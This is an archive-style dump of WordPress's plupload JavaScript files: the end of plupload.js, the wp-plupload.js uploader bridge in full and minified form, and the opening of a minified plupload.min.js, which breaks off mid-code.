}()); /** * Constructs a queue progress. * * @class QueueProgress * @constructor */ plupload.QueueProgress = function() { var self = this; // Setup alias for self to reduce code size when it's compressed /** * Total queue file size. * * @property size * @type Number */ self.size = 0; /** * Total bytes uploaded. * * @property loaded * @type Number */ self.loaded = 0; /** * Number of files uploaded. * * @property uploaded * @type Number */ self.uploaded = 0; /** * Number of files failed to upload. * * @property failed * @type Number */ self.failed = 0; /** * Number of files yet to be uploaded. * * @property queued * @type Number */ self.queued = 0; /** * Total percent of the uploaded bytes. * * @property percent * @type Number */ self.percent = 0; /** * Bytes uploaded per second. * * @property bytesPerSec * @type Number */ self.bytesPerSec = 0; /** * Resets the progress to its initial values. * * @method reset */ self.reset = function() { self.size = self.loaded = self.uploaded = self.failed = self.queued = self.percent = self.bytesPerSec = 0; }; }; window.plupload = plupload; }(window, mOxie)); plupload/wp-plupload.js 0000644 00000040501 15111757753 0011202 0 ustar 00 /* global pluploadL10n, plupload, _wpPluploadSettings */ /** * @namespace wp */ window.wp = window.wp || {}; ( function( exports, $ ) { var Uploader; if ( typeof _wpPluploadSettings === 'undefined' ) { return; } /** * A WordPress uploader. * * The Plupload library provides cross-browser uploader UI integration. * This object bridges the Plupload API to integrate uploads into the * WordPress back end and the WordPress media experience. * * @class * @memberOf wp * @alias wp.Uploader * * @param {object} options The options passed to the new plupload instance. * @param {object} options.container The id of uploader container. * @param {object} options.browser The id of button to trigger the file select. * @param {object} options.dropzone The id of file drop target. * @param {object} options.plupload An object of parameters to pass to the plupload instance. * @param {object} options.params An object of parameters to pass to $_POST when uploading the file. * Extends this.plupload.multipart_params under the hood. */ Uploader = function( options ) { var self = this, isIE, // Not used, back-compat. elements = { container: 'container', browser: 'browse_button', dropzone: 'drop_element' }, tryAgainCount = {}, tryAgain, key, error, fileUploaded; this.supports = { upload: Uploader.browser.supported }; this.supported = this.supports.upload; if ( ! this.supported ) { return; } // Arguments to send to pluplad.Uploader(). // Use deep extend to ensure that multipart_params and other objects are cloned. this.plupload = $.extend( true, { multipart_params: {} }, Uploader.defaults ); this.container = document.body; // Set default container. /* * Extend the instance with options. * * Use deep extend to allow options.plupload to override individual * default plupload keys. */ $.extend( true, this, options ); // Proxy all methods so this always refers to the current instance. for ( key in this ) { if ( typeof this[ key ] === 'function' ) { this[ key ] = $.proxy( this[ key ], this ); } } // Ensure all elements are jQuery elements and have id attributes, // then set the proper plupload arguments to the ids. for ( key in elements ) { if ( ! this[ key ] ) { continue; } this[ key ] = $( this[ key ] ).first(); if ( ! this[ key ].length ) { delete this[ key ]; continue; } if ( ! this[ key ].prop('id') ) { this[ key ].prop( 'id', '__wp-uploader-id-' + Uploader.uuid++ ); } this.plupload[ elements[ key ] ] = this[ key ].prop('id'); } // If the uploader has neither a browse button nor a dropzone, bail. if ( ! ( this.browser && this.browser.length ) && ! ( this.dropzone && this.dropzone.length ) ) { return; } // Initialize the plupload instance. this.uploader = new plupload.Uploader( this.plupload ); delete this.plupload; // Set default params and remove this.params alias. this.param( this.params || {} ); delete this.params; /** * Attempt to create image sub-sizes when an image was uploaded successfully * but the server responded with HTTP 5xx error. * * @since 5.3.0 * * @param {string} message Error message. * @param {object} data Error data from Plupload. * @param {plupload.File} file File that was uploaded. */ tryAgain = function( message, data, file ) { var times, id; if ( ! data || ! data.responseHeaders ) { error( pluploadL10n.http_error_image, data, file, 'no-retry' ); return; } id = data.responseHeaders.match( /x-wp-upload-attachment-id:\s*(\d+)/i ); if ( id && id[1] ) { id = id[1]; } else { error( pluploadL10n.http_error_image, data, file, 'no-retry' ); return; } times = tryAgainCount[ file.id ]; if ( times && times > 4 ) { /* * The file may have been uploaded and attachment post created, * but post-processing and resizing failed... * Do a cleanup then tell the user to scale down the image and upload it again. */ $.ajax({ type: 'post', url: ajaxurl, dataType: 'json', data: { action: 'media-create-image-subsizes', _wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce, attachment_id: id, _wp_upload_failed_cleanup: true, } }); error( message, data, file, 'no-retry' ); return; } if ( ! times ) { tryAgainCount[ file.id ] = 1; } else { tryAgainCount[ file.id ] = ++times; } // Another request to try to create the missing image sub-sizes. $.ajax({ type: 'post', url: ajaxurl, dataType: 'json', data: { action: 'media-create-image-subsizes', _wpnonce: _wpPluploadSettings.defaults.multipart_params._wpnonce, attachment_id: id, } }).done( function( response ) { if ( response.success ) { fileUploaded( self.uploader, file, response ); } else { if ( response.data && response.data.message ) { message = response.data.message; } error( message, data, file, 'no-retry' ); } }).fail( function( jqXHR ) { // If another HTTP 5xx error, try try again... if ( jqXHR.status >= 500 && jqXHR.status < 600 ) { tryAgain( message, data, file ); return; } error( message, data, file, 'no-retry' ); }); } /** * Custom error callback. * * Add a new error to the errors collection, so other modules can track * and display errors. @see wp.Uploader.errors. * * @param {string} message Error message. * @param {object} data Error data from Plupload. * @param {plupload.File} file File that was uploaded. * @param {string} retry Whether to try again to create image sub-sizes. Passing 'no-retry' will prevent it. */ error = function( message, data, file, retry ) { var isImage = file.type && file.type.indexOf( 'image/' ) === 0, status = data && data.status; // If the file is an image and the error is HTTP 5xx try to create sub-sizes again. if ( retry !== 'no-retry' && isImage && status >= 500 && status < 600 ) { tryAgain( message, data, file ); return; } if ( file.attachment ) { file.attachment.destroy(); } Uploader.errors.unshift({ message: message || pluploadL10n.default_error, data: data, file: file }); self.error( message, data, file ); }; /** * After a file is successfully uploaded, update its model. * * @param {plupload.Uploader} up Uploader instance. * @param {plupload.File} file File that was uploaded. * @param {Object} response Object with response properties. */ fileUploaded = function( up, file, response ) { var complete; // Remove the "uploading" UI elements. _.each( ['file','loaded','size','percent'], function( key ) { file.attachment.unset( key ); } ); file.attachment.set( _.extend( response.data, { uploading: false } ) ); wp.media.model.Attachment.get( response.data.id, file.attachment ); complete = Uploader.queue.all( function( attachment ) { return ! attachment.get( 'uploading' ); }); if ( complete ) { Uploader.queue.reset(); } self.success( file.attachment ); } /** * After the Uploader has been initialized, initialize some behaviors for the dropzone. * * @param {plupload.Uploader} uploader Uploader instance. */ this.uploader.bind( 'init', function( uploader ) { var timer, active, dragdrop, dropzone = self.dropzone; dragdrop = self.supports.dragdrop = uploader.features.dragdrop && ! Uploader.browser.mobile; // Generate drag/drop helper classes. if ( ! dropzone ) { return; } dropzone.toggleClass( 'supports-drag-drop', !! dragdrop ); if ( ! dragdrop ) { return dropzone.unbind('.wp-uploader'); } // 'dragenter' doesn't fire correctly, simulate it with a limited 'dragover'. dropzone.on( 'dragover.wp-uploader', function() { if ( timer ) { clearTimeout( timer ); } if ( active ) { return; } dropzone.trigger('dropzone:enter').addClass('drag-over'); active = true; }); dropzone.on('dragleave.wp-uploader, drop.wp-uploader', function() { /* * Using an instant timer prevents the drag-over class * from being quickly removed and re-added when elements * inside the dropzone are repositioned. * * @see https://core.trac.wordpress.org/ticket/21705 */ timer = setTimeout( function() { active = false; dropzone.trigger('dropzone:leave').removeClass('drag-over'); }, 0 ); }); self.ready = true; $(self).trigger( 'uploader:ready' ); }); this.uploader.bind( 'postinit', function( up ) { up.refresh(); self.init(); }); this.uploader.init(); if ( this.browser ) { this.browser.on( 'mouseenter', this.refresh ); } else { this.uploader.disableBrowse( true ); } $( self ).on( 'uploader:ready', function() { $( '.moxie-shim-html5 input[type="file"]' ) .attr( { tabIndex: '-1', 'aria-hidden': 'true' } ); } ); /** * After files were filtered and added to the queue, create a model for each. * * @param {plupload.Uploader} up Uploader instance. * @param {Array} files Array of file objects that were added to queue by the user. */ this.uploader.bind( 'FilesAdded', function( up, files ) { _.each( files, function( file ) { var attributes, image; // Ignore failed uploads. if ( plupload.FAILED === file.status ) { return; } if ( file.type === 'image/heic' && up.settings.heic_upload_error ) { // Show error but do not block uploading. Uploader.errors.unshift({ message: pluploadL10n.unsupported_image, data: {}, file: file }); } else if ( file.type === 'image/webp' && up.settings.webp_upload_error ) { // Disallow uploading of WebP images if the server cannot edit them. error( pluploadL10n.noneditable_image, {}, file, 'no-retry' ); up.removeFile( file ); return; } else if ( file.type === 'image/avif' && up.settings.avif_upload_error ) { // Disallow uploading of AVIF images if the server cannot edit them. error( pluploadL10n.noneditable_image, {}, file, 'no-retry' ); up.removeFile( file ); return; } // Generate attributes for a new `Attachment` model. attributes = _.extend({ file: file, uploading: true, date: new Date(), filename: file.name, menuOrder: 0, uploadedTo: wp.media.model.settings.post.id }, _.pick( file, 'loaded', 'size', 'percent' ) ); // Handle early mime type scanning for images. image = /(?:jpe?g|png|gif)$/i.exec( file.name ); // For images set the model's type and subtype attributes. if ( image ) { attributes.type = 'image'; // `jpeg`, `png` and `gif` are valid subtypes. // `jpg` is not, so map it to `jpeg`. attributes.subtype = ( 'jpg' === image[0] ) ? 'jpeg' : image[0]; } // Create a model for the attachment, and add it to the Upload queue collection // so listeners to the upload queue can track and display upload progress. file.attachment = wp.media.model.Attachment.create( attributes ); Uploader.queue.add( file.attachment ); self.added( file.attachment ); }); up.refresh(); up.start(); }); this.uploader.bind( 'UploadProgress', function( up, file ) { file.attachment.set( _.pick( file, 'loaded', 'percent' ) ); self.progress( file.attachment ); }); /** * After a file is successfully uploaded, update its model. * * @param {plupload.Uploader} up Uploader instance. * @param {plupload.File} file File that was uploaded. * @param {Object} response Object with response properties. * @return {mixed} */ this.uploader.bind( 'FileUploaded', function( up, file, response ) { try { response = JSON.parse( response.response ); } catch ( e ) { return error( pluploadL10n.default_error, e, file ); } if ( ! _.isObject( response ) || _.isUndefined( response.success ) ) { return error( pluploadL10n.default_error, null, file ); } else if ( ! response.success ) { return error( response.data && response.data.message, response.data, file ); } // Success. Update the UI with the new attachment. fileUploaded( up, file, response ); }); /** * When plupload surfaces an error, send it to the error handler. * * @param {plupload.Uploader} up Uploader instance. * @param {Object} pluploadError Contains code, message and sometimes file and other details. */ this.uploader.bind( 'Error', function( up, pluploadError ) { var message = pluploadL10n.default_error, key; // Check for plupload errors. for ( key in Uploader.errorMap ) { if ( pluploadError.code === plupload[ key ] ) { message = Uploader.errorMap[ key ]; if ( typeof message === 'function' ) { message = message( pluploadError.file, pluploadError ); } break; } } error( message, pluploadError, pluploadError.file ); up.refresh(); }); }; // Adds the 'defaults' and 'browser' properties. $.extend( Uploader, _wpPluploadSettings ); Uploader.uuid = 0; // Map Plupload error codes to user friendly error messages. Uploader.errorMap = { 'FAILED': pluploadL10n.upload_failed, 'FILE_EXTENSION_ERROR': pluploadL10n.invalid_filetype, 'IMAGE_FORMAT_ERROR': pluploadL10n.not_an_image, 'IMAGE_MEMORY_ERROR': pluploadL10n.image_memory_exceeded, 'IMAGE_DIMENSIONS_ERROR': pluploadL10n.image_dimensions_exceeded, 'GENERIC_ERROR': pluploadL10n.upload_failed, 'IO_ERROR': pluploadL10n.io_error, 'SECURITY_ERROR': pluploadL10n.security_error, 'FILE_SIZE_ERROR': function( file ) { return pluploadL10n.file_exceeds_size_limit.replace( '%s', file.name ); }, 'HTTP_ERROR': function( file ) { if ( file.type && file.type.indexOf( 'image/' ) === 0 ) { return pluploadL10n.http_error_image; } return pluploadL10n.http_error; }, }; $.extend( Uploader.prototype, /** @lends wp.Uploader.prototype */{ /** * Acts as a shortcut to extending the uploader's multipart_params object. * * param( key ) * Returns the value of the key. * * param( key, value ) * Sets the value of a key. * * param( map ) * Sets values for a map of data. */ param: function( key, value ) { if ( arguments.length === 1 && typeof key === 'string' ) { return this.uploader.settings.multipart_params[ key ]; } if ( arguments.length > 1 ) { this.uploader.settings.multipart_params[ key ] = value; } else { $.extend( this.uploader.settings.multipart_params, key ); } }, /** * Make a few internal event callbacks available on the wp.Uploader object * to change the Uploader internals if absolutely necessary. */ init: function() {}, error: function() {}, success: function() {}, added: function() {}, progress: function() {}, complete: function() {}, refresh: function() { var node, attached, container, id; if ( this.browser ) { node = this.browser[0]; // Check if the browser node is in the DOM. while ( node ) { if ( node === document.body ) { attached = true; break; } node = node.parentNode; } /* * If the browser node is not attached to the DOM, * use a temporary container to house it, as the browser button shims * require the button to exist in the DOM at all times. */ if ( ! attached ) { id = 'wp-uploader-browser-' + this.uploader.id; container = $( '#' + id ); if ( ! container.length ) { container = $('<div class="wp-uploader-browser" />').css({ position: 'fixed', top: '-1000px', left: '-1000px', height: 0, width: 0 }).attr( 'id', 'wp-uploader-browser-' + this.uploader.id ).appendTo('body'); } container.append( this.browser ); } } this.uploader.refresh(); } }); // Create a collection of attachments in the upload queue, // so that other modules can track and display upload progress. Uploader.queue = new wp.media.model.Attachments( [], { query: false }); // Create a collection to collect errors incurred while attempting upload. Uploader.errors = new Backbone.Collection(); exports.Uploader = Uploader; })( wp, jQuery ); plupload/wp-plupload.min.js 0000644 00000013624 15111757753 0011772 0 ustar 00 window.wp=window.wp||{},function(e,l){var u;"undefined"!=typeof _wpPluploadSettings&&(l.extend(u=function(e){var n,t,i,p,d=this,a={container:"container",browser:"browse_button",dropzone:"drop_element"},s={};if(this.supports={upload:u.browser.supported},this.supported=this.supports.upload,this.supported){for(t in this.plupload=l.extend(!0,{multipart_params:{}},u.defaults),this.container=document.body,l.extend(!0,this,e),this)"function"==typeof this[t]&&(this[t]=l.proxy(this[t],this));for(t in a)this[t]&&(this[t]=l(this[t]).first(),this[t].length?(this[t].prop("id")||this[t].prop("id","__wp-uploader-id-"+u.uuid++),this.plupload[a[t]]=this[t].prop("id")):delete this[t]);(this.browser&&this.browser.length||this.dropzone&&this.dropzone.length)&&(this.uploader=new plupload.Uploader(this.plupload),delete this.plupload,this.param(this.params||{}),delete this.params,n=function(t,a,r){var e,o;a&&a.responseHeaders&&(o=a.responseHeaders.match(/x-wp-upload-attachment-id:\s*(\d+)/i))&&o[1]?(o=o[1],(e=s[r.id])&&4<e?(l.ajax({type:"post",url:ajaxurl,dataType:"json",data:{action:"media-create-image-subsizes",_wpnonce:_wpPluploadSettings.defaults.multipart_params._wpnonce,attachment_id:o,_wp_upload_failed_cleanup:!0}}),i(t,a,r,"no-retry")):(s[r.id]=e?++e:1,l.ajax({type:"post",url:ajaxurl,dataType:"json",data:{action:"media-create-image-subsizes",_wpnonce:_wpPluploadSettings.defaults.multipart_params._wpnonce,attachment_id:o}}).done(function(e){e.success?p(d.uploader,r,e):(e.data&&e.data.message&&(t=e.data.message),i(t,a,r,"no-retry"))}).fail(function(e){500<=e.status&&e.status<600?n(t,a,r):i(t,a,r,"no-retry")}))):i(pluploadL10n.http_error_image,a,r,"no-retry")},i=function(e,t,a,r){var o=a.type&&0===a.type.indexOf("image/"),i=t&&t.status;"no-retry"!==r&&o&&500<=i&&i<600?n(e,t,a):(a.attachment&&a.attachment.destroy(),u.errors.unshift({message:e||pluploadL10n.default_error,data:t,file:a}),d.error(e,t,a))},p=function(e,t,a){_.each(["file","loaded","size","percent"],function(e){t.attachment.unset(e)}),t.attachment.set(_.extend(a.data,{uploading:!1})),wp.media.model.Attachment.get(a.data.id,t.attachment),u.queue.all(function(e){return!e.get("uploading")})&&u.queue.reset(),d.success(t.attachment)},this.uploader.bind("init",function(e){var t,a,r=d.dropzone,e=d.supports.dragdrop=e.features.dragdrop&&!u.browser.mobile;if(r){if(r.toggleClass("supports-drag-drop",!!e),!e)return r.unbind(".wp-uploader");r.on("dragover.wp-uploader",function(){t&&clearTimeout(t),a||(r.trigger("dropzone:enter").addClass("drag-over"),a=!0)}),r.on("dragleave.wp-uploader, drop.wp-uploader",function(){t=setTimeout(function(){a=!1,r.trigger("dropzone:leave").removeClass("drag-over")},0)}),d.ready=!0,l(d).trigger("uploader:ready")}}),this.uploader.bind("postinit",function(e){e.refresh(),d.init()}),this.uploader.init(),this.browser?this.browser.on("mouseenter",this.refresh):this.uploader.disableBrowse(!0),l(d).on("uploader:ready",function(){l('.moxie-shim-html5 input[type="file"]').attr({tabIndex:"-1","aria-hidden":"true"})}),this.uploader.bind("FilesAdded",function(r,e){_.each(e,function(e){var t,a;if(plupload.FAILED!==e.status){if("image/heic"===e.type&&r.settings.heic_upload_error)u.errors.unshift({message:pluploadL10n.unsupported_image,data:{},file:e});else{if("image/webp"===e.type&&r.settings.webp_upload_error)return i(pluploadL10n.noneditable_image,{},e,"no-retry"),void r.removeFile(e);if("image/avif"===e.type&&r.settings.avif_upload_error)return i(pluploadL10n.noneditable_image,{},e,"no-retry"),void r.removeFile(e)}t=_.extend({file:e,uploading:!0,date:new Date,filename:e.name,menuOrder:0,uploadedTo:wp.media.model.settings.post.id},_.pick(e,"loaded","size","percent")),(a=/(?:jpe?g|png|gif)$/i.exec(e.name))&&(t.type="image",t.subtype="jpg"===a[0]?"jpeg":a[0]),e.attachment=wp.media.model.Attachment.create(t),u.queue.add(e.attachment),d.added(e.attachment)}}),r.refresh(),r.start()}),this.uploader.bind("UploadProgress",function(e,t){t.attachment.set(_.pick(t,"loaded","percent")),d.progress(t.attachment)}),this.uploader.bind("FileUploaded",function(e,t,a){try{a=JSON.parse(a.response)}catch(e){return i(pluploadL10n.default_error,e,t)}return!_.isObject(a)||_.isUndefined(a.success)?i(pluploadL10n.default_error,null,t):a.success?void p(e,t,a):i(a.data&&a.data.message,a.data,t)}),this.uploader.bind("Error",function(e,t){var a,r=pluploadL10n.default_error;for(a in u.errorMap)if(t.code===plupload[a]){"function"==typeof(r=u.errorMap[a])&&(r=r(t.file,t));break}i(r,t,t.file),e.refresh()}))}},_wpPluploadSettings),u.uuid=0,u.errorMap={FAILED:pluploadL10n.upload_failed,FILE_EXTENSION_ERROR:pluploadL10n.invalid_filetype,IMAGE_FORMAT_ERROR:pluploadL10n.not_an_image,IMAGE_MEMORY_ERROR:pluploadL10n.image_memory_exceeded,IMAGE_DIMENSIONS_ERROR:pluploadL10n.image_dimensions_exceeded,GENERIC_ERROR:pluploadL10n.upload_failed,IO_ERROR:pluploadL10n.io_error,SECURITY_ERROR:pluploadL10n.security_error,FILE_SIZE_ERROR:function(e){return pluploadL10n.file_exceeds_size_limit.replace("%s",e.name)},HTTP_ERROR:function(e){return e.type&&0===e.type.indexOf("image/")?pluploadL10n.http_error_image:pluploadL10n.http_error}},l.extend(u.prototype,{param:function(e,t){if(1===arguments.length&&"string"==typeof e)return this.uploader.settings.multipart_params[e];1<arguments.length?this.uploader.settings.multipart_params[e]=t:l.extend(this.uploader.settings.multipart_params,e)},init:function(){},error:function(){},success:function(){},added:function(){},progress:function(){},complete:function(){},refresh:function(){var e,t,a;if(this.browser){for(e=this.browser[0];e;){if(e===document.body){t=!0;break}e=e.parentNode}t||(a="wp-uploader-browser-"+this.uploader.id,(a=(a=l("#"+a)).length?a:l('<div class="wp-uploader-browser" />').css({position:"fixed",top:"-1000px",left:"-1000px",height:0,width:0}).attr("id","wp-uploader-browser-"+this.uploader.id).appendTo("body")).append(this.browser))}this.uploader.refresh()}}),u.queue=new wp.media.model.Attachments([],{query:!1}),u.errors=new Backbone.Collection,e.Uploader=u)}(wp,jQuery); plupload/plupload.min.js 0000644 00000036365 15111757753 0011355 0 ustar 00 !function(e,I,S){var T=e.setTimeout,D={};function w(e){var t=e.required_features,r={};function i(e,t,i){var n={chunks:"slice_blob",jpgresize:"send_binary_string",pngresize:"send_binary_string",progress:"report_upload_progress",multi_selection:"select_multiple",dragdrop:"drag_and_drop",drop_element:"drag_and_drop",headers:"send_custom_headers",urlstream_upload:"send_binary_string",canSendBinary:"send_binary",triggerDialog:"summon_file_dialog"};n[e]?r[n[e]]=t:i||(r[e]=t)}return"string"==typeof t?F.each(t.split(/\s*,\s*/),function(e){i(e,!0)}):"object"==typeof t?F.each(t,function(e,t){i(t,e)}):!0===t&&(0<e.chunk_size&&(r.slice_blob=!0),!e.resize.enabled&&e.multipart||(r.send_binary_string=!0),F.each(e,function(e,t){i(t,!!e,!0)})),e.runtimes="html5,html4",r}var t,F={VERSION:"2.1.9",STOPPED:1,STARTED:2,QUEUED:1,UPLOADING:2,FAILED:4,DONE:5,GENERIC_ERROR:-100,HTTP_ERROR:-200,IO_ERROR:-300,SECURITY_ERROR:-400,INIT_ERROR:-500,FILE_SIZE_ERROR:-600,FILE_EXTENSION_ERROR:-601,FILE_DUPLICATE_ERROR:-602,IMAGE_FORMAT_ERROR:-700,MEMORY_ERROR:-701,IMAGE_DIMENSIONS_ERROR:-702,mimeTypes:I.mimes,ua:I.ua,typeOf:I.typeOf,extend:I.extend,guid:I.guid,getAll:function(e){for(var t,i=[],n=(e="array"!==F.typeOf(e)?[e]:e).length;n--;)(t=F.get(e[n]))&&i.push(t);return i.length?i:null},get:I.get,each:I.each,getPos:I.getPos,getSize:I.getSize,xmlEncode:function(e){var t={"<":"lt",">":"gt","&":"amp",'"':"quot","'":"#39"};return e&&(""+e).replace(/[<>&\"\']/g,function(e){return t[e]?"&"+t[e]+";":e})},toArray:I.toArray,inArray:I.inArray,addI18n:I.addI18n,translate:I.translate,isEmptyObj:I.isEmptyObj,hasClass:I.hasClass,addClass:I.addClass,removeClass:I.removeClass,getStyle:I.getStyle,addEvent:I.addEvent,removeEvent:I.removeEvent,removeAllEvents:I.removeAllEvents,cleanName:function(e){for(var t=[/[\300-\306]/g,"A",/[\340-\346]/g,"a",/\307/g,"C",/\347/g,"c",/[\310-\313]/g,"E",/[\350-\353]/g,"e",/[\314-\317]/g,"I",/[\354-\357]/g,"i",/\321/g,"N",/\361/g,"n",/[\322-\330]/g,"O",/[\362-\370]/g,"o",/[\331-\334]/g,"U",/[\371-\374]/g,"u"],i=0;i<t.length;i+=2)e=e.replace(t[i],t[i+1]);return e=(e=e.replace(/\s+/g,"_")).replace(/[^a-z0-9_\-\.]+/gi,"")},buildUrl:function(e,t){var i="";return F.each(t,function(e,t){i+=(i?"&":"")+encodeURIComponent(t)+"="+encodeURIComponent(e)}),i&&(e+=(0<e.indexOf("?")?"&":"?")+i),e},formatSize:function(e){var t;return e===S||/\D/.test(e)?F.translate("N/A"):(t=Math.pow(1024,4))<e?i(e/t,1)+" "+F.translate("tb"):e>(t/=1024)?i(e/t,1)+" "+F.translate("gb"):e>(t/=1024)?i(e/t,1)+" "+F.translate("mb"):1024<e?Math.round(e/1024)+" "+F.translate("kb"):e+" "+F.translate("b");function i(e,t){return Math.round(e*Math.pow(10,t))/Math.pow(10,t)}},parseSize:I.parseSizeStr,predictRuntime:function(e,t){var i=new F.Uploader(e),t=I.Runtime.thatCan(i.getOption().required_features,t||e.runtimes);return i.destroy(),t},addFileFilter:function(e,t){D[e]=t}};F.addFileFilter("mime_types",function(e,t,i){e.length&&!e.regexp.test(t.name)?(this.trigger("Error",{code:F.FILE_EXTENSION_ERROR,message:F.translate("File extension error."),file:t}),i(!1)):i(!0)}),F.addFileFilter("max_file_size",function(e,t,i){e=F.parseSize(e),void 0!==t.size&&e&&t.size>e?(this.trigger("Error",{code:F.FILE_SIZE_ERROR,message:F.translate("File size error."),file:t}),i(!1)):i(!0)}),F.addFileFilter("prevent_duplicates",function(e,t,i){if(e)for(var n=this.files.length;n--;)if(t.name===this.files[n].name&&t.size===this.files[n].size)return this.trigger("Error",{code:F.FILE_DUPLICATE_ERROR,message:F.translate("Duplicate file error."),file:t}),void i(!1);i(!0)}),F.Uploader=function(e){var u,i,n,p,t=F.guid(),l=[],h={},o=[],d=[],c=!1;function r(){var e,t,i=0;if(this.state==F.STARTED){for(t=0;t<l.length;t++)e||l[t].status!=F.QUEUED?i++:(e=l[t],this.trigger("BeforeUpload",e)&&(e.status=F.UPLOADING,this.trigger("UploadFile",e)));i==l.length&&(this.state!==F.STOPPED&&(this.state=F.STOPPED,this.trigger("StateChanged")),this.trigger("UploadComplete",l))}}function s(e){e.percent=0<e.size?Math.ceil(e.loaded/e.size*100):100,a()}function a(){var e,t;for(n.reset(),e=0;e<l.length;e++)(t=l[e]).size!==S?(n.size+=t.origSize,n.loaded+=t.loaded*t.origSize/t.size):n.size=S,t.status==F.DONE?n.uploaded++:t.status==F.FAILED?n.failed++:n.queued++;n.size===S?n.percent=0<l.length?Math.ceil(n.uploaded/l.length*100):0:(n.bytesPerSec=Math.ceil(n.loaded/((+new Date-i||1)/1e3)),n.percent=0<n.size?Math.ceil(n.loaded/n.size*100):0)}function f(){var e=o[0]||d[0];return!!e&&e.getRuntime().uid}function g(n,e){var r=this,s=0,t=[],a={runtime_order:n.runtimes,required_caps:n.required_features,preferred_caps:h};F.each(n.runtimes.split(/\s*,\s*/),function(e){n[e]&&(a[e]=n[e])}),n.browse_button&&F.each(n.browse_button,function(i){t.push(function(t){var e=new I.FileInput(F.extend({},a,{accept:n.filters.mime_types,name:n.file_data_name,multiple:n.multi_selection,container:n.container,browse_button:i}));e.onready=function(){var e=I.Runtime.getInfo(this.ruid);I.extend(r.features,{chunks:e.can("slice_blob"),multipart:e.can("send_multipart"),multi_selection:e.can("select_multiple")}),s++,o.push(this),t()},e.onchange=function(){r.addFile(this.files)},e.bind("mouseenter mouseleave mousedown mouseup",function(e){c||(n.browse_button_hover&&("mouseenter"===e.type?I.addClass(i,n.browse_button_hover):"mouseleave"===e.type&&I.removeClass(i,n.browse_button_hover)),n.browse_button_active&&("mousedown"===e.type?I.addClass(i,n.browse_button_active):"mouseup"===e.type&&I.removeClass(i,n.browse_button_active)))}),e.bind("mousedown",function(){r.trigger("Browse")}),e.bind("error runtimeerror",function(){e=null,t()}),e.init()})}),n.drop_element&&F.each(n.drop_element,function(i){t.push(function(t){var e=new I.FileDrop(F.extend({},a,{drop_zone:i}));e.onready=function(){var e=I.Runtime.getInfo(this.ruid);I.extend(r.features,{chunks:e.can("slice_blob"),multipart:e.can("send_multipart"),dragdrop:e.can("drag_and_drop")}),s++,d.push(this),t()},e.ondrop=function(){r.addFile(this.files)},e.bind("error runtimeerror",function(){e=null,t()}),e.init()})}),I.inSeries(t,function(){"function"==typeof e&&e(s)})}function _(e,t,i){var a=this,o=!1;function n(e,t,i){var n,r,s=u[e];switch(e){case"max_file_size":"max_file_size"===e&&(u.max_file_size=u.filters.max_file_size=t);break;case"chunk_size":(t=F.parseSize(t))&&(u[e]=t,u.send_file_name=!0);break;case"multipart":(u[e]=t)||(u.send_file_name=!0);break;case"unique_names":(u[e]=t)&&(u.send_file_name=!0);break;case"filters":"array"===F.typeOf(t)&&(t={mime_types:t}),i?F.extend(u.filters,t):u.filters=t,t.mime_types&&(u.filters.mime_types.regexp=(n=u.filters.mime_types,r=[],F.each(n,function(e){F.each(e.extensions.split(/,/),function(e){/^\s*\*\s*$/.test(e)?r.push("\\.*"):r.push("\\."+e.replace(new RegExp("["+"/^$.*+?|()[]{}\\".replace(/./g,"\\$&")+"]","g"),"\\$&"))})}),new RegExp("("+r.join("|")+")$","i")));break;case"resize":i?F.extend(u.resize,t,{enabled:!0}):u.resize=t;break;case"prevent_duplicates":u.prevent_duplicates=u.filters.prevent_duplicates=!!t;break;case"container":case"browse_button":case"drop_element":t="container"===e?F.get(t):F.getAll(t);case"runtimes":case"multi_selection":u[e]=t,i||(o=!0);break;default:u[e]=t}i||a.trigger("OptionChanged",e,t,s)}"object"==typeof e?F.each(e,function(e,t){n(t,e,i)}):n(e,t,i),i?(u.required_features=w(F.extend({},u)),h=w(F.extend({},u,{required_features:!0}))):o&&(a.trigger("Destroy"),g.call(a,u,function(e){e?(a.runtime=I.Runtime.getInfo(f()).type,a.trigger("Init",{runtime:a.runtime}),a.trigger("PostInit")):a.trigger("Error",{code:F.INIT_ERROR,message:F.translate("Init error.")})}))}function m(e,t){var i;e.settings.unique_names&&(e="part",(i=t.name.match(/\.([^.]+)$/))&&(e=i[1]),t.target_name=t.id+"."+e)}function b(r,s){var a,o=r.settings.url,u=r.settings.chunk_size,l=r.settings.max_retries,d=r.features,c=0;function f(){0<l--?T(g,1e3):(s.loaded=c,r.trigger("Error",{code:F.HTTP_ERROR,message:F.translate("HTTP Error."),file:s,response:p.responseText,status:p.status,responseHeaders:p.getAllResponseHeaders()}))}function g(){var e,i,t,n={};s.status===F.UPLOADING&&r.state!==F.STOPPED&&(r.settings.send_file_name&&(n.name=s.target_name||s.name),e=u&&d.chunks&&a.size>u?(t=Math.min(u,a.size-c),a.slice(c,c+t)):(t=a.size,a),u&&d.chunks&&(r.settings.send_chunk_number?(n.chunk=Math.ceil(c/u),n.chunks=Math.ceil(a.size/u)):(n.offset=c,n.total=a.size)),(p=new I.XMLHttpRequest).upload&&(p.upload.onprogress=function(e){s.loaded=Math.min(s.size,c+e.loaded),r.trigger("UploadProgress",s)}),p.onload=function(){400<=p.status?f():(l=r.settings.max_retries,t<a.size?(e.destroy(),c+=t,s.loaded=Math.min(c,a.size),r.trigger("ChunkUploaded",s,{offset:s.loaded,total:a.size,response:p.responseText,status:p.status,responseHeaders:p.getAllResponseHeaders()}),"Android Browser"===I.Env.browser&&r.trigger("UploadProgress",s)):s.loaded=s.size,e=i=null,!c||c>=a.size?(s.size!=s.origSize&&(a.destroy(),a=null),r.trigger("UploadProgress",s),s.status=F.DONE,r.trigger("FileUploaded",s,{response:p.responseText,status:p.status,responseHeaders:p.getAllResponseHeaders()})):T(g,1))},p.onerror=function(){f()},p.onloadend=function(){this.destroy(),p=null},r.settings.multipart&&d.multipart?(p.open("post",o,!0),F.each(r.settings.headers,function(e,t){p.setRequestHeader(t,e)}),i=new 